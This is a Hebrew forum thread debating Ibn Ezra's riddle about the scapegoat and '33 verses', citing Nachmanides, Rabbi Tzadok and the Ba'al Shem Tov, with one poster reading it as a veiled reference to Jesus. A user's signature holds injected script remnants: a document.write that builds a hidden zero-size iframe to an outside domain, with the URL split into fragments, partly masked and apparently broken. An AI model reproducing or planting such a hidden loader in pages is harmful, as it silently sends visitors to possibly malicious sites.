|
|
| נשלח ב-13/9/2010 03:14 |
 |
| |
על דרך הבעש"ט השעיר לעזאזל מכוון בנפש להודאת האדם כי אינו יכול להשמיד את הרע שבו עד כלות. לפ"ז השעיר לה' מבטא התקרבות בדרך של מס"נ ושפיכת דם, ונכונות למהפך פנימי, והשעיר לעזאזל מבטא התקרבות בדרך של שפלות והודאה בפער שבין האדם לה', וייחול לה' כי יעזור לו, כי הוא בכחו אינו מסוגל. לדעתי לא יעזור לנו אם ניפטרבעזרת המדע מן השדים האלה של הראב"ע והרמב"ן, כי הם מצויים בנפשנו פנימה, והפסיכולוגיה המודרנית ודאי שלא הרגה אותם אלא אדרבא, וכו'
|
|
|
|
| נשלח ב-13/9/2010 10:29 |
|
| |
אז למה להרוג את השעיר לעזאזל?
|
|
|
|
| נשלח ב-13/9/2010 12:02 |
|
| |
| maxmen כתב: |  | בתכלס הנה הפשט: תספור שלשים ושלש פסוקים ותגיע לפירוש שלו בפרק יז' ז' וכך כותב שם
אבן עזרא ויקרא פרק יז (ז) לשעירם הם השדים, ונקראו כן בעבור שישתער הגוף הרואה אותם,
והקרוב בעבור שיראו אותם המשוגעים (=המאמינים) כדמות שעירים. ומלת עוד תורה שכן היו ישראל עושין במצרים (והיו ממשיכים עבודה זו במדבר עיין פירושו יט' כו') אשר הם זונים כי כל מי שמבקש אותם ומאמין בהם הוא זונה מתחת אלהיו, שיחשוב כי יש מי שייטיב או ירע חוץ מהשם הנכבד והנורא. ובזו הפרשה לא הזכיר הגר, כי המצוה על ישראל בזבחים ובעולות. והזכיר הגר, שלא יעזבו ישראל שיזבח הגר לעכו"ם בארץ ישראל, וכן משפט כל דם, שהוא אסור בעבור שהוא הנפש, כי הבשר בדם הוא. והאמת, כי הנפש שבה יחיה האדם הוא בדם הלב:
תוקן על ידי maxmen ב- 12/09/2010 18:37:17
|
|
לענ"ד, קיים פירוש אחר לדברי הראב"ע, ולא בספירת 33 הפסוקים, כמקובל.
אעשה מנג רבינו, וארמוז עליו, ולא אהיה - עדיין - כהולך רכיל.
ראו דברי הרמב"ן המפרש את "כתב החידה" של הראב"ע, בידקו ודקדקו היטב, על איזה חלק של כתב החידה - לא ענה. לענ"ד, משתיקתו נלמד יותר מאשר מדיבורו, ואכמ"ל.
|
|
|
|
| נשלח ב-13/9/2010 12:20 |
|
| |
מואדיב היקר:
אנא אל תמתח אותנו,,,,
|
|
|
|
| נשלח ב-4/7/2011 10:05 |
|
| |
.
נו, אוסיף רמז לגבי דברי:
אנשי דמים ומרמה לא יחצו ימיהם.
|
|
|
|
| נשלח ב-4/7/2011 15:33 |
|
| |
עיינו בר צדוק הכהן,על שעיר לעזאזלשהוא כח הרע לרמז שגם הזדונות הם רצון השם ולכן נעשיםלו כזכויות,גם מובא בקיצור בויקיפדיה שעיר לעזאזל עם כל פירושיו
|
|
|
|
| נשלח ב-4/7/2011 16:21 |
|
| |
ביליצר
איך אתה מסביר את ר' צדוק הזה?
|
|
|
|
| נשלח ב-4/7/2011 16:31 |
|
| |
כרעיון שבתאיי ופראקיסטי
|
|
|
|
| נשלח ב-4/7/2011 17:24 |
|
| |
מואדיב
אולי תגלה בלי לרמוז. לא כולם חכמים, (למשל אני).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-4/7/2011 17:55 |
|
| |
| מיימוני כתב: | | מואדיב
אולי תגלה בלי לרמוז. לא כולם חכמים, (למשל אני). _________________ שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
(מחרב שמחות שכמותך)
לענ"ד, הראב"ע רומז ליש"ו.
קרא שוב את דבריו, שים לב באיזה גיל נצלב אותו האיש, ואכמ"ל.
הפוך-על-הפוך עושה להם האבן עזרא, שהם דרשו "אכן עווננו הוא נשא" וגו'.
|
|
|
|
|
| נשלח ב-4/7/2011 22:11 |
|
| |
מואדיב
טול סדרת איקונים ירוקים. יש לך כאן תגלית אמיתית!
(כך זה לפחות נראה, אבל רק אללה יודע את האמת - בורחס, שם, שם).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-4/7/2011 22:21 |
|
| |
אבל האבן עזרא כותב כשתגיע לגיל 33 ולא כשהוא יגיע
|
|
|
|
| נשלח ב-4/7/2011 22:30 |
|
| |
בעל בעמיו,עיין צדקת הצדיק מ,וקל,ועיין פרי הארץ פרשת שופטים,בינתיים בגדר והמשכיל ידום,אבל אתה מוזמן לתת פירוש,וחבל שלא נפתח על זה אשכול עד היום
|
|
|
|
|
